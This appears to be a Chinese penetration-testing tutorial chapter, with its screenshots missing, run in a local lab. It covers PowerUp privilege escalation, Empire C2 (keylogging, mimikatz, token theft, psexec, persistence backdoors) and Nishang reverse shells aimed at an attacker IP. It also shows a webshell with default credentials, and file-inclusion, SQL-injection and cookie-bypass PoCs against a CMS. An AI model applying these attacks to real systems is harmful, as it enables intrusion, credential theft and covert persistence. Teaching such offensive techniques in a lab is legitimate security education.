6.2.4PowerUP攻击模块实战演练
很多PowerUp模块不能一一演示,只针对性介绍几个常用模块的实战应用。
实战一
首先我们安装一个存在漏洞的服务环境:
https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe
安装好漏洞环境后,我们建一个普通用户:net user powerup 123456 /add
然后登录到这个新建的普通用户
我们可以把PowerUp脚本上传到目标服务器,或是远程内存加载
这里远程加载如下:
然后调用Invoke-AllChecks
先介绍下Unquoted Service Paths
简介
“包含空格但没有引号的服务路径”,利用windows解析文件路径的特性,如果一个服务的可执行文件路径设置不当,攻击者可构造对应的可执行文件,从而利用提权,PowerUp的相关模块可以帮助我们完成提权。
漏洞原理
这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe
带引号:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。
不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。
根据前面调用Invoke-AllChecks,返回的结果存在包含空格但没有引号的服务路径
C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe
这时需要检测目录是否有写权限
C:\ 普通用户目录默认是不让写的
C:\Program Files (x86)\Photodex\
可以使用cacls或icacls,可以看到当前用户不可写
测试C:\Program Files (x86)\Photodex\ProShow Producer\发现可写
直接Write-ServiceBinary 来尝试提权,如下提示进程在使用
使用move把文件重命名,然后重新执行写入,这时生成的ScsiAccess.exe为利用程序
当服务器重启后,提权成功,系统会新增一个管理员权限用户john/Password123!
提权成功后我们把所有状态恢复到最初的状态
实战二
AlwaysInstallElevated提权
该漏洞产生的原因是用户在策略编辑器中开启了Windows Installer特权安装功能:
设置漏洞环境
管理员用户在“运行”设置框中输入“gpedit.msc”,打开组策略编辑器。
组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。
设置完毕之后,会在两个注册表如下位置自动创建键值为”1″。
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
防御的话,就是把上述启用的选项关闭
在这次中用到Get-RegistryAlwaysInstallElevated和Write-UserAddMSI两个模块
首先先加载PowerUp,使用Get-RegistryAlwaysInstallElevated检测相关注册表是否被设置
显示“true”则表示AlwaysInstallElevated注册表已经被设置:这就意味着MSI文件是以System权限运行的。
接着运行Write-UserAddMSI,会在当前目录下生成一个UserAdd.msi文件
以普通用户权限运行UserAdd.msi添加管理员账户 成功添加backdoor管理员权限账户
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。
Empire的全部功能可以参考其官方网站:
http://www.powershellempire.com/
Empire运行在linux平台上
官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境
https://github.com/EmpireProject/Empire
其他分支目前还有人在更新维护,需要Python 3.x环境
https://github.com/BC-SECURITY/Empire
可以选择其中一个安装使用,这里我们还是以官方这个来安装使用
这里使用的系统是Kali,首先通过git命令下载程序目录。
git clone https://github.com/EmpireProject/Empire.git
然后安装Empire的依赖,命令如下
cd Empire
cd setup
pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)
./install.sh
在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:
cd ..
./empire
若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。
启动时如果遇到如下报错
可以将urllib3版本降级
pip install urllib3==1.22
重新设定
bash reset.sh
打开Empire后,可以看到版本为2.5,280模块(modules),0个监听(listeners),0个会话(agents)
基本使用会涉及如下内容:
1.帮助文档
2.设置监听
3.生成木马
4.连接主机和基本使用
5.信息收集
6.权限提升
帮助文档
运行Empire后,输入help命令查看具体的使用帮助。
Empire和Metasploit的使用原理一样,都是需要先设置一个监听,接着生成一个木马,然后在目标主机上运行该木马,我们的监听就会连接上反弹回来的会话。
设置监听步骤如下:
listeners #进入监听线程界面
uselistener #设置监听模式
info #查看具体参数设置
set #设置相应参数
execute #开始监听
输入Listeners命令进入监听界面,按TAB键可以补全命令,按两次TAB键或者help可以显示可以利用的模块
输入uselistener来设置采用何种监听模式,双击TAB可以看到有以下可以使用的模式。
这里采用http监听模式,输入uselistener http。
然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。
通过set配置参数,并提供execeute执行,需要注意的是Empire不同于Metasploit,Empire命令是区分大小写的
通过back返回上一级,使用listeners或者list可以查看所设置的监听器
输入usestager后 空格加TAB键 查看可以设置的木马模式
木马就类似Metasploit中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块。
我们以 windows/launcher_bat为例,给大家说下过程,其他的使用都类似
要使用launcher_bat,首先输入usestager windows/launcher_bat,然后输入info命令查看详细参数
通过set配置参数,我们需要设置一个 Listener 参数,即监听的名字(前面我们给监听起得一个名字test1),通过execeute执行,
文件会生成到 tmp 目录下,如下所示
在目标主机上运行生成的launcher.bat,输入 agents 可以查看已经获得的会话
我们再介绍另一种生成木马方式:launcher
如果只需要简单的powershell 代码,在设置完相应的参数后,可直接在监听器(listeners)中输入命令 launcher
然后复制生成的payload 在目标机器上执行
可以看到有会话生成,输入 agents 可以查看已经获得的会话
在目标主机反弹成功以后,可以通过agents命令列出当前已连接的主机,这里要注意如果有带有(*)的是已提权成功的主机。
然后使用interact命令连接主机,可以使用Tab键补全主机的名称,连接成功以后可以通过rename修改会话名称
可以通过help查看可以使用的命令
输入help agentcmds可以查看可供使用的常用命令
可以通过pwd查看当前目录
upload可以上传文件,通过cat查看文件内容
使用某些CMD命令时,要使用“shell+命令的形式” 。
Empire主要用于后渗透。所以信息收集是比较常用的一个模块,可以使用searchmodule命令搜索需要使用的模块,这里通过键如usemodule collection然后按Tab查看完整的列表
下面演示几个常用模块
1.屏幕截图
输入以下命令,然后执行即可
2.键盘记录
输入以下命令usemodule collection/keylogger,通过info可以查看详细信息,execute执行
可以通过jobs kill JOB_name停止键盘记录
3.ARP扫描
Empire也内置了ARP扫描模块,输入以下命令即可使用该模块,这里要设置Range参数
4.查找域管登陆服务器IP
在内网渗透中,要想拿到内网中某台机器的域管权限,方法之一就是找到域管登录的机器,然后横向渗透进去,窃取域管权限,从而拿下整个域,以下这个模块就是用来查找域管登录的机器的。
使用模块usemodule situational_awareness/network/powerview/user_hunter
提权,顾名思义就是提高自己在服务器中的权限,就比如在Windows中,你本身登陆的用户是Guest,通过提权后,就会变成超级管理员,拥有了管理Windows的所有权限。以下是常见几种提权方式:
1.Bypass UAC
UAC介绍
UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)
输入以下命令,设置Listener参数,运行execute,会发现成功上线了一个新的反弹
返回agents,通过list可以看到有一个新的会话,并且带有*,说明提权成功。
2.PowerUp
Empire内置了PowerUp的部分工具,用于系统提权,主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式,输入以下命令,然后通过tab键查看完整列表
查找系统中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞
可以看到,我们可以通过BypassUAC进行提权,前面已经见过,这里不再重复。
3.通过溢出漏洞
本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。
这里我们使用ms16-032来提权,输入以下命令即可通过溢出漏洞进行提权
在横向渗透中,最先得到的主机,以及之后新得到的主机,会成为突破口、跳板。如同一个不断扩大的圆形,获得的主机越多,圆能触及之处越大,让其周遭的「横向」部分由未知成为已知。
1.令牌窃取
我们在获取到服务器权限后,可以使用内置mimikatz获取系统密码,执行完毕后输入creds命令查看Empire列举的密码。
从这里发现有域用户曾在此服务器上登录,此时可以窃取域用户身份,然后进行横向移动
首先先来窃取身份,使用命令pth
可以看到进程号为1380,使用steal_token PID命令就窃取了该身份令牌了。
我们先尝试访问域内另一台主机WIN7-X86的“C$”,顺利访问。
输入revtoself命令可以将令牌权限恢复到原来的状态
2.会话注入
我们也可以使用usemodule management/psinject模块来进程注入,获取权限,输入info查看参数设置,
设置下Listeners和ProcID这2个参数,这里的ProcID还是之前的CMD的1380,运行后反弹回一个域用户权限shell。
3.Invoke-PsExec
PsExec是我在Metasploit下经常使用的模块,还有pstools工具包当中也有psexec,缺点是该工具基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。
使用该模块的前提是我们已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网。
我们测试该模块前看下当前agents,只有一个IP为192.168.31.251,机器名为WIN7-64的服务器。
现在使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器WIN7-X86,输入info查看设置参数,如下图所示。
这里要设置下机器名和监听,输入下列命令,反弹成功
输入agents命令查看当前agents,多了一个IP为192.168.31.158,机器名为WIN7-X86的服务器
权限维持
攻击者在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者如入无人之境。服务器重启后,我们的后门程序仍能触发继续运行。这里讲一些window服务端常见的后门技术。
1.权限持久性劫持shift后门
shitf后门,其实就是使用了windows系统的粘滞键功能,当连按5次shift键的时候就会启动粘滞键程序。然后后门程序替换掉这个程序,然后通过按5次就来启动后门。
输入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模块,可以输入info查看参数,set设置相关参数
运行后,在目标主机远程登录窗口按5次shift即可触发后门,有一个黑框一闪而过,
这时看我们的Empire已经有反弹代理上线
2.注册表注入后门
使用usemodule persistence/userland/registry模块,运行后会在目标主机启动项添加一个命令,可以输入info查看信息
按如下命令设置其中几个参数,如下图所示。
重启目标主机,用户登录系统后,会有反弹会话生成
在实际渗透中,当拿到webshell上传的Metasploit客户端无法绕过目标主机的杀软时,可以使用PowerShell来绕过,也可以执行Empire的Payload来绕过,成功之后再用Empire的模块将其反弹回Metasploit。
首先在Metasploit我们使用multi/script/web_delivery模块
使用usemodule code_execution/invoke_metasploitpayload模块,输入info看下参数
这里我们只需修改1个参数URL,
修改为前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y
按下列命令设置完毕,然后执行
Metasploit收到Empire反弹回来的shell,如下图所示。
Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。
下载地址如下:https://github.com/samratashok/nishang
下载完成后我们可以看到以下工具里面都包括一些什么功能目录
Nishang在PowerShell 3.0以上环境中可正常使用,在win7上PowerShell默认版本是2.0,不太支持,可以在win10中测试或者升级win7的PowerShell 的版本。
使用方式和PowerSploit一样,可以搭建一个WEB服务器,把Nishang脚本放在WEB目录,然后远程去加载调用脚本
为了方便我们直接把Nishang上传到本地服务器,本机加载。首先以管理员启动powershell
导入框架,并查看有哪些模块,如下图
开始对部分模块的功能进行讲解:
1.Check-VM
它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机
2. Invoke-CredentialsPhish
这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程
Invoke-CredentialsPhish
输入服务器正确账号和密码后
3. Get-PassHashes
在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了
4. Invoke-Mimikatz
需要管理员权限,抓取密码
5. Show-TargetScreen
使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。
Victim(win7):Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse
Attacker(kali):netcat -nlvp 5773 | netcat -nlvp 8888 //这里我使用的neetcat
6. Get-PassHints
获取用户的密码提示信息,需要有Administrator权限来读取sam hive
有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中
Nishang可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型Shell
一、基于TCP协议的Powershell交互式Shell
Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。
参数介绍:
-IPAddress
-Port
-Reverse [
-Bind [
使用实例:
1.正向连接
第一步:在目标机运行脚本,监听端口88
第二步:使用nc连接到目标机端口88
2. 反向连接
第一步:使用nc监听本地端口88(注意必须先监听,不然在目标机上执行脚本会出错)
第二步:在目标机上运行脚本来反弹shell
第三步:观察攻击机,可以发现成功反弹shell
二、基于UDP协议的PowerShell交互式Shell
Invoke-PowerShellUdpPowershell交互式正向连接或反向连接shell,基于UDP协议。
使用实例:
1.正向连接
第一步:在目标机运行脚本,监听端口66
第二步:使用nc连接到目标机端口66
2. 反向连接
第一步:使用nc监听本地端口66
第二步:在目标机上运行脚本来反弹shell
第三步:观察攻击机,可以发现成功反弹shell
三、基于HTTP和HTTPS协议的PowerShell交互式Shell
Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向连接shell,基于HTTP协议和HTTPS协议。
这里需要说明以下,需要攻击者以管理员身份运行
第一步:首先我们需要在攻击机上使用脚本,需要的信息有攻击机IP,要监听的端口。运行完脚本,就等着目标机反弹Shell了。
第二步:在目标机上运行下列命令,反弹Shell
第三步:观察攻击机,可以发现成功反弹shell
权限提升是指利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,让应用或用户获得对受保护资源的高级访问权限。
这里我们主要讲通过Bypass UAC来提权
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。
需要UAC的授权才能进行的操作列表如下:
配置Windows Update
增加、删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装、卸载程序
安装设备驱动程序
将文件移动/复制到Program Files或Windows目录下
查看其它用户的文件夹
UAC有如下四种设置要求:
始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
如何Bypass UAC
我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
Invoke-PsUACme 提供了一些绕过UAC的方式。这个模块用的是UACME项目的DLL来Bypass UAC。
使用Nishang中的Invoke-PsUACme.ps1我们来尝试提权
Admin用户,在没有使用以管理员身份运行时
我们直接运行Invoke-PsUACme来绕过UAC后,如图:
存放于nishang Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多,功能比较齐全。
将Nishang的antak.aspx文件,放在IIS网站中
然后访问网站中的antak.aspx文件(出现登陆页面)
Nishang的antak用户名:Disclaimer
Nishang的antak密码:ForLegitUseOnly
登陆成功,进入欢迎页面
输入help,可以得到帮助信息
输入ls,可以查看网站的目录结构
点击download,可以下载网站的重要文件
点击upload the file,可以上传木马文件
代码审计,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。
代码审计不是简单的检查代码,审计代码的原因是确保代码能安全的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。
代码审计这是一个需要多方面技能的技术,也是需要一定的知识储备。我们需要掌握编程,安全工具的使用、漏洞原理、漏洞的修复方式、函数的缺陷等等。
代码审计入门基础:html/js基础语法、PHP基础语法 ,面向对象思想,PHP小项目开发(Blog、注册登录、表单、文件上传、留言板等),Web漏洞挖掘及利用,Web安全工具基本使用(burpsuite、sqlmap等),代码审计工具(seay审计系统、zend studio+xdebug等)
代码审计两种基本方式:
通读全文源码:通读全文发作为一种最麻烦的方法也是最全面的审计方法。特别是针对大型程序,源码成千上万行。当然了解整个Web应用的业务逻辑,才能挖掘到更多更有价值的漏洞。
功能点审计:根据漏洞对应发生函数进行功能行审计,常会用到逆向溯源数据流方法进行审计。
代码审计两种基本方法:
正向追踪数据流:跟踪用户输入参数 -> 来到代码逻辑 -> 最后审计代码逻辑缺陷 -> 尝试构造payload
逆向溯源数据流:字符串搜索指定操作函数 -> 跟踪函数可控参数 -> 审计代码逻辑缺陷 -> 尝试构造payload
从开发者的位置去思考问题,可以快速定位问题。学习面向对象编程以及面向过程编程,编写一些项目提升对代码的理解能力,再是对各种漏洞可以独立挖掘利用并能理解漏洞的危害,这里我们主要针对PHP源码做审计。
我们从三个层次开始我们的源码审计思路:
1.确定要审计的源码是什么语言
2.确定该源码是单入口还是多入口
3.确定该语言的各种漏洞诞生的函数
PHP源码部署环境:Phpstudy
集成开发环境:Zend Studio/Phpstorm
数据库管理工具:Navicat for MySQL
MySQL实时监控工具:MySQLMonitor
文本编辑工具:Sublime_Text3
代码审计辅助工具:Seay源代码审计系统、Rips
代码审计辅助安全工具:渗透版火狐、BurpSuite、Sqlmap
通常做代码审计都是检查敏感函数的参数,然后回溯变量,判断变量是否可控并且没有经过严格的过滤,这是一个逆向追踪的过程。
这里列出一些特定漏洞对应的比较容易出问题的函数或关键字,提高审计效率。
select,update,insert into,delete
注:此处非函数,主要找常用的SQL语句
include() 向上包含,向下包含,如果包含出错继续向下执行
include_once() 同上,只进行包含一次
require() 向上包含,向下包含,如果包含出错不下向下执行
require_once() 同上,只进行包含一次
system() , exec() , passthru() , shell_exec()
print_r die
echo var_dump
printf var_export
move_uploaded_file()
fopen()
readfile()
file_get_contents()
unlink()
unserialize()
使用自动化工具辅助人工漏洞挖掘,可以显著提高审计工作的效率。学会利用自动化代码审计工具,是每一个代码审计人员必备的能力。
RIPS是一个用 PHP 编写的源代码分析工具,它使用了静态分析技术,能够自动化地挖掘 PHP 源代码潜在的安全漏洞。渗透测试人员可以直接容易的审阅分析结果,而不用审阅整个程序代码。由于静态源代码分析的限制,漏洞是否真正存在,仍然需要代码审阅者确认。RIPS 能够检测 XSS, SQL 注入, 文件泄露, Header Injection 漏洞等。
RIPS官网:http://rips-scanner.sourceforge.net/
下载完之后将该压缩包解压到本地网站的根目录下,然后在浏览器 localhost/Rips(你解压的文件名字)/就可以进去了,如下图所示:
subdirs:如果勾选上这个选项,会扫描所有子目录,否则只扫描一级目录,缺省为勾选。
verbosity level:选择扫描结果的详细程度,缺省为1(建议就使用1)。
vuln type:选择需要扫描的漏洞类型。支持命令注入、代码执行、SQL注入等十余种漏洞类型,缺省为全部扫描。
code style:选择扫描结果的显示风格(支持9种语法高亮)。
/regex/:使用正则表达式过滤结果。
path/file: 要扫描的目录。
scan: 开始扫描。
使用
在path/file中输入需要扫描源码的目录, 其他使用默认设置,点击scan:扫描结果如下:
我们可以看到RIPS的功能还是很强大的,将目录中所有的漏洞文件找出,对扫描出每个漏洞文件,点击左上角的按钮可以查看代码的详细情况
左下角的问号是解释,它会详细的解释这是什么类型的漏洞,并且有漏洞补丁方案
右下角的红色按钮,可以根据漏洞生成漏洞利用代码
到这里我们可以看到该工具非常强大,可以帮助我们提高审计效率。
Seay源代码审计系统是由国人开发的一款基于白盒测试的代码审计工具,具有自动代码审计功能。支持一件审计,代码调试,函数定位,自定义审计规则等强大功能。可以简化人工审计的繁琐流程,使代码审计更加智能简洁。
目前作者官网已不能访问,可以从如下地址下载:https://github.com/f1tz/cnseay
程序使用C# 编写,须要.NET2.0以上版本环境才能运行。
直接运行“Seay源代码审计系统.exe”即可安装,安装完直接运行,如下图所示:
点击“新建项目”按钮新建一个审计项目。选择需要扫描的源码所在目录。
打开一个审计项目后,可以看到审计系统左侧列出了该项目的全部源代码文件,点击“自动审计”按钮进入审计操作
点击“自动审计”操作下的“开始”按钮,正式进入审计过程并等待审计扫描完成。
当Seay源代码审计系统底部提示“扫描完成”时,点击“生成报告”生成本次审计报告并保存报告生成的html文件。
常我们可以直接在审计工具里双击漏洞所在的行,跳转到相应文件审计。
会高亮显示漏洞所在的行,后面就是需要人工来判断漏洞是否确实存在。
以熊海CMS1.0为例我们来进行实例审计,CMS下载地址:https://zdown.chinaz.com/201503/xhcms_v1.0.rar
为了复现我们审计出的漏洞,首先搭建熊海CMS站点测试环境。
此CMS运行需要的环境:php+mysql+apache,注意这里php版本需要5.x
这里使用phpstudy 2018来搭建,把压解的熊海CMS源码,复制到WWW目录下。
在切换版本里选择php-5.2.17+Apache。
开启apache和mysql服务。
通过自带的MySQL管理器,这里使用MySQL-Front
登录进mysql,新建一个数据库xhcms
访问如下链接来安装,确认提交后可以看到安装成功
http://127.0.0.1/xhcms/install/
开始审计
先查看一下网站的文件目录结构,了解一下大概文件夹的功能作用。
一般文件夹的英文名字就是这个文件夹实现的功能
admin --管理后台文件夹
css --存放css的文件夹
files --存放页面的文件夹
images --存放图片的文件夹
inc --存放网站配置文件的文件夹
install --网站进行安装的文件夹
seacmseditor --编辑器文件夹
template --模板文件夹
upload --上传功能文件夹
index.php --网站入口(首页)
入口文件:index.php、main.php文件一般是整个程序的入口,从中可以知道:
程序的架构;
运行流程;
包含哪些配置文件;
包含哪些过滤文件和安全过滤文件;
了解程序的业务逻辑。
配置文件:一般类似config.php等文件,保存一些数据库相关信息,程序的一些信息。
先看数据库编码,如果是GBK可能存在宽字节注入。
若变量的值用双引号,则可能存在双引号解析代码执行的问题。
此CMS的配置文件为:inc/conn.php
过滤功能:通过详细读公共函数文件和安全过滤文件等文件,清晰掌握:
用户输入的数据,哪些被过滤,哪些无过滤如何过滤。在哪里被过滤了。
如何过滤,过滤的方式是替换还是正则,能否绕过过滤的数据。
这里我们首先看下 入口文件、配置文件、过滤功能。此程序比较简单,没有安全过滤文件
首先就从网站入口index.php跟进,发现是一个单入口模式:
在这里我们可以得知,它是先接收一个r参数然后用addslashes函数进行过滤。然后判断文件名,如果为空的话,则包含files/index.php,反之赋值就会把传递进来的文件名赋值给 $action进行拼接。这样的话,我们在这里就很清楚的知道,这里就是一个很经典的文件包含漏洞,r参数只是经过了addslashes函数进行过滤(几乎相当于没
过滤)后被incluede包含。但因为在包含时限定了.php后缀,本地包含时需要截断。利用起来存在一定限制。
"单一入口模式",这个是什么意思呢?简单来说就是用一个文件处理所有的HTTP请求,例如不管是内容列表页,用户登录页还是内容详细页,都是通过从浏览器访问 index.php 文件来进行处理的,这里这个 index.php 文件就是这个应用程序的单一入口。
在分析PHP代码的时候,遇到不懂的函数要随手查PHP手册去了解相关用法和解释。
第三行 error_reporting(0);表示关闭所有PHP错误报告。
第四行 r参数通过GET请求经过 addslashes函数处理后再传递给$file变量。查阅PHP手册可以知道,单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。通常这个函数用于防止SQl注入。
第五 六行通过三元运算符判断文件名是否为空,为空则载入files/index.php文件,反之赋值就会把传递进来的文件名赋值给 $action,"."在PHP里是拼接的作用,因此就是把第四行传递的变量 $file(到这里是 $action,因为上一行 $file赋值给了 $action)也就是传递的文件名字,拼接前面的目录”files/”以及后面的".php"这个后缀,最终载入拼接后的相应文件。
那么这里漏洞利用其实就两个问题:跳出限定的目录和截断拼接的后缀。
介绍文件包含截断的2种方法
第一种是使用%00截断,但是php>5.3以后就不能使用了,开启了GPC的情况下也是不能使用的,因为此CMS这里用了addslashes函数同样不能使用。
第二种是点号截断
1.Windows下在文件名字后面加 “.” 不影响文件。2.Windows的文件名的全路径(Fully Qualified File Name)的最大长度为260字节。但是这个是有利用条件的,在测试过程中, 发现必须同时满足 php版本=5.2.17、Virtual Directory Support=enable,这个在我们phpstudy2018搭建的环境里满足。
此CMS后台存在上传功能可以上传图片,通过上传写有php代码的图片文件,通过包含漏洞可以使我们的代码运行。
这里为了方便直接在此CMS根目录的upload\image\20150321目录,新建一个内容为 的test.jpg文件,模拟上传的图片文件。
另外有一点,就是文件包含这里,不论你文件的后缀是什么,他包含的时候是只管你文件的内容的,因此你不论是弄成文本还是图片,只要里面内容是可以执行的PHP代码,就可以包含执行利用成功,因此这也是文件包含利用的一个要点
下面来构造利用poc,利用“../”来跳出限制的“/files”目录,跳到CMS根目录,然后再拼接成../upload/image/20150321/test.jpg
然后我们再利用点号截断来截断代码中.php后缀
最终poc如下:http://127.0.0.1/xhcms/index.php?r=../upload/image/20150321/test.jpg..........................................................................................
点号这里加了200个
通读全文法比较太费时费力,但是最全面。
最高效和最常用的方法还是敏感函数参数检查,这里我们通过前面介绍的审计工具来辅助我们审计工作。
当然审计工具存在着误报和漏报问题,这就需要我们需要不断积累审计知识,不只是依靠工具。
首先用RIPS我们来扫描下,然后对扫出的漏洞进行验证。
我们先验证前台漏洞,后台漏洞的话需要先得到后台权限才能利用。前台漏洞较后台漏洞利用面更广些。
扫出如下文件存在问题 File: /xhcms/files/contact.php
我们进行分析,先看跨站脚本问题
从上面代码里我们看到139行 echo $page 直接输出$page内容,如果$page内容可控,并且没有过滤的话,就存在漏洞
从扫描工具显示的结果中可以看到$page变量来自外界输入,只是用addslashes做了过滤(过滤不全)
前面介绍过,单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。
构造利用POC,如下如果POC里存在双引号,代码不能执行,会被转义
http://127.0.0.1/xhcms/index.php?r=contact&page=
把双引号修改成如下,代码可以成功执行
http://127.0.0.1/xhcms/index.php?r=contact&page=
扫出如下文件存在问题 File: /xhcms/files/content.php
从上面代码可以看到,第20行$id并没有被单引号包裹
向上追溯看$id可以看到其值来自cid的赋值,cid是可控的,并且只是用了addslashes做过滤,单引号(‘)、双引号(“)、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。这里是整型注入, addslashes对利用没有影响。
构造利用POC
先使用报错利用代码,获取数据名如下
http://127.0.0.1/xhcms/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
使用sqlmap利用获取当前数据库名
python sqlmap.py -u "http://127.0.0.1/xhcms/index.php?r=content&cid=1" -p cid --current-db
业务逻辑漏洞-后台登录绕过
自动化代码安全审计往往无法查找业务相关的漏洞,比如支付漏洞、任意密码重置,优惠券叠加等。在了解代码和业务的基础上,来进行人工审计。
在进入到管理员首页时,首先会检测是否是登录的状态,
漏洞代码位置:/xhcms/inc/checklogin.php
下面我们看下checklogin.php代码
判断登录的状态是通过截取cookie中user字段的值来判断是否进行了登录。如果COOKIE中user参数为空,那么就跳转到登陆的地方。如果修改user字段不为空,就会成功登录到后台。显然,这种写法是有缺陷的。
我们来利用此漏洞来登录后台,访问如下地址,使用burp拦截
http://127.0.0.1/xhcms/admin/index.php
在cookie里添加;user=1
成功登录到后台